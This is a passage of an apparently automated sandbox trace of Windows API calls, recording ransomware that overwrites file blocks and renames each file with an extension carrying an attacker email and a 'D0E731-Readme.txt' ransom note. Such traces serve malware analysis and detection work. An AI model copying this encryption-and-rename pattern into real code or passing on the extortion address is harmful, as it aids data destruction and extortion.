lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2bcbfd80*=0x481, lpOverlapped=0x0) returned 1 [0084.590] CloseHandle (hObject=0x8e4) returned 1 [0084.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0084.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1720) returned 1 [0084.590] RtlExitUserThread (Status=0x1) Thread: id = 1249 os_tid = 0x174 [0084.591] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe")) returned 0x20 [0084.592] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", dwFileAttributes=0x20) returned 1 [0084.592] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e4 [0084.592] GetFileSizeEx (in: hFile=0x8e4, lpFileSize=0x2bd3fc60 | out: lpFileSize=0x2bd3fc60*=462976) returned 1 [0084.592] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x7107c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.592] ReadFile (in: hFile=0x8e4, lpBuffer=0x2bd3fc34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bd3fc30, lpOverlapped=0x0 | out: lpBuffer=0x2bd3fc34*, lpNumberOfBytesRead=0x2bd3fc30*=0x4, lpOverlapped=0x0) returned 1 [0084.593] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0084.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0084.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0084.593] NtQuerySystemTime (in: CurrentTime=0x2bd3fc0c | out: CurrentTime=0x2bd3fc0c*=132121176424922734) returned 0x0 [0084.593] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x1c9c2e2e [0084.593] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xaf2e21eb [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x389a5913 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xabf527f [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x5ed833b1 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x40b2c6e2 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x77e84799 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x8496d4bf [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x904080c3 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xf887bf59 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xce930606 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x5f8d49a3 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x5bbcea4 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xbd8c459e [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xa42b952c [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xd6693bd7 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x1ab538ed [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x7e703524 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x7c01d7bc [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x2f0fc58a [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x33b812b1 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x88d2fc82 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x26a87fee [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x59822f8b [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x9b12ce1b [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x2947fe98 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xc3f3ad34 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x4841185d [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x8a95f8c4 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0x25064883 [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xa188b33f [0084.594] RtlRandom (in: Seed=0x2bd3fc18 | out: Seed=0x2bd3fc18) returned 0xc162d57a [0084.605] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34805e8) returned 1 [0084.605] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0084.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.605] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.605] ReadFile (in: hFile=0x8e4, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2bd3fbcc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2bd3fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0084.606] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fdf0 [0084.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0084.606] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0084.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0084.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0084.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0084.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0084.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.607] WriteFile (in: hFile=0x8e4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2bd3fbcc, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bd3fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0084.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.608] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x3c8ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.608] ReadFile (in: hFile=0x8e4, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2bd3fbcc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2bd3fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0084.608] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x3c8ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc98 [0084.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34801b0 [0084.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0084.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0084.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0084.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0084.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0084.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801b0) returned 1 [0084.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc98) returned 1 [0084.609] WriteFile (in: hFile=0x8e4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2bd3fbcc, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bd3fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0084.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.609] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x6cfea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.609] ReadFile (in: hFile=0x8e4, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2bd3fbcc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2bd3fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0084.610] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x6cfea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fe68 [0084.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0084.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0084.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0084.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0084.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0084.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fe68) returned 1 [0084.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.611] WriteFile (in: hFile=0x8e4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2bd3fbcc, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bd3fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0084.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.611] WriteFile (in: hFile=0x8e4, lpBuffer=0x342c808*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bd3fc28, lpOverlapped=0x0 | out: lpBuffer=0x342c808*, lpNumberOfBytesWritten=0x2bd3fc28*=0x20, lpOverlapped=0x0) returned 1 [0084.611] WriteFile (in: hFile=0x8e4, lpBuffer=0x342cfb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bd3fc28, lpOverlapped=0x0 | out: lpBuffer=0x342cfb0*, lpNumberOfBytesWritten=0x2bd3fc28*=0x20, lpOverlapped=0x0) returned 1 [0084.611] WriteFile (in: hFile=0x8e4, lpBuffer=0x342d618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bd3fc28, lpOverlapped=0x0 | out: lpBuffer=0x342d618*, lpNumberOfBytesWritten=0x2bd3fc28*=0x20, lpOverlapped=0x0) returned 1 [0084.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.611] WriteFile (in: hFile=0x8e4, lpBuffer=0x342cf88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2bd3fc30, lpOverlapped=0x0 | out: lpBuffer=0x342cf88*, lpNumberOfBytesWritten=0x2bd3fc30*=0x8, lpOverlapped=0x0) returned 1 [0084.611] WriteFile (in: hFile=0x8e4, lpBuffer=0x2bd3fc48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bd3fc30, lpOverlapped=0x0 | out: lpBuffer=0x2bd3fc48*, lpNumberOfBytesWritten=0x2bd3fc30*=0x4, lpOverlapped=0x0) returned 1 [0084.611] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bd3fc30, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2bd3fc30*=0x4, lpOverlapped=0x0) returned 1 [0084.612] WriteFile (in: hFile=0x8e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2bd3fc30, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2bd3fc30*=0x6c, lpOverlapped=0x0) returned 1 [0084.612] WriteFile (in: hFile=0x8e4, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bd3fc30, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x2bd3fc30*=0x20, lpOverlapped=0x0) returned 1 [0084.612] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bd3fc30, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2bd3fc30*=0x4, lpOverlapped=0x0) returned 1 [0084.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0084.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d028) returned 1 [0084.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.612] CloseHandle (hObject=0x8e4) returned 1 [0084.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x3479e38 [0084.612] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0084.612] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" [0084.612] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.613] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.613] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", dwFileAttributes=0x20) returned 0 [0084.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430b00 [0084.613] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0084.613] wcscat (in: _Dest=0x3430b00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\D0E731-Readme.txt" [0084.613] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\d0e731-readme.txt")) returned 0x20 [0084.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0084.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34314c0) returned 1 [0084.613] RtlExitUserThread (Status=0x1) Thread: id = 1250 os_tid = 0x1010 [0084.614] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm")) returned 0x20 [0084.615] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x20) returned 1 [0084.615] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e4 [0084.616] GetFileSizeEx (in: hFile=0x8e4, lpFileSize=0x2bdbf7c8 | out: lpFileSize=0x2bdbf7c8*=750) returned 1 [0084.616] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x2ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.616] ReadFile (in: hFile=0x8e4, lpBuffer=0x2bdbf79c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bdbf798, lpOverlapped=0x0 | out: lpBuffer=0x2bdbf79c*, lpNumberOfBytesRead=0x2bdbf798*=0x4, lpOverlapped=0x0) returned 1 [0084.617] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0084.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d028 [0084.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0084.617] NtQuerySystemTime (in: CurrentTime=0x2bdbf774 | out: CurrentTime=0x2bdbf774*=132121176425078862) returned 0x0 [0084.617] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x369f22d5 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x5e92d300 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xda99f197 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x251eca08 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x897762ea [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x6799f5ed [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x2ee6dc2b [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xdc383ace [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xbb38ad5 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xa86f2777 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xf54105d9 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xf9fe074c [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xda88ffd0 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xb72e093c [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x955ca5a9 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x3ded4be3 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x124566e [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x51f4813e [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x2aecaab4 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xd04d9d9a [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x85877f35 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xa4ab0887 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xac5ddd9e [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xbf690d5e [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xf37c4ccf [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x1f17a9e [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x315a0618 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x9d1ac6a7 [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xfb02793e [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0xc9f5b97f [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x8821717e [0084.618] RtlRandom (in: Seed=0x2bdbf780 | out: Seed=0x2bdbf780) returned 0x51f0855a [0084.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34805e8) returned 1 [0084.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fdf0 [0084.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0084.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0084.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.629] ReadFile (in: hFile=0x8e4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x2bdbf774, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2bdbf774*=0x2ee, lpOverlapped=0x0) returned 1 [0084.629] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdbf73c | out: lpNewFilePointer=0x0) returned 1 [0084.629] WriteFile (in: hFile=0x8e4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0x2bdbf770, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bdbf770*=0x2ee, lpOverlapped=0x0) returned 1 [0084.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0084.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0084.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0084.629] WriteFile (in: hFile=0x8e4, lpBuffer=0x342cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bdbf76c, lpOverlapped=0x0 | out: lpBuffer=0x342cf88*, lpNumberOfBytesWritten=0x2bdbf76c*=0x20, lpOverlapped=0x0) returned 1 [0084.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0084.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0084.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.630] WriteFile (in: hFile=0x8e4, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2bdbf798, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x2bdbf798*=0x8, lpOverlapped=0x0) returned 1 [0084.630] WriteFile (in: hFile=0x8e4, lpBuffer=0x2bdbf7b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bdbf798, lpOverlapped=0x0 | out: lpBuffer=0x2bdbf7b0*, lpNumberOfBytesWritten=0x2bdbf798*=0x4, lpOverlapped=0x0) returned 1 [0084.630] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12fc*, 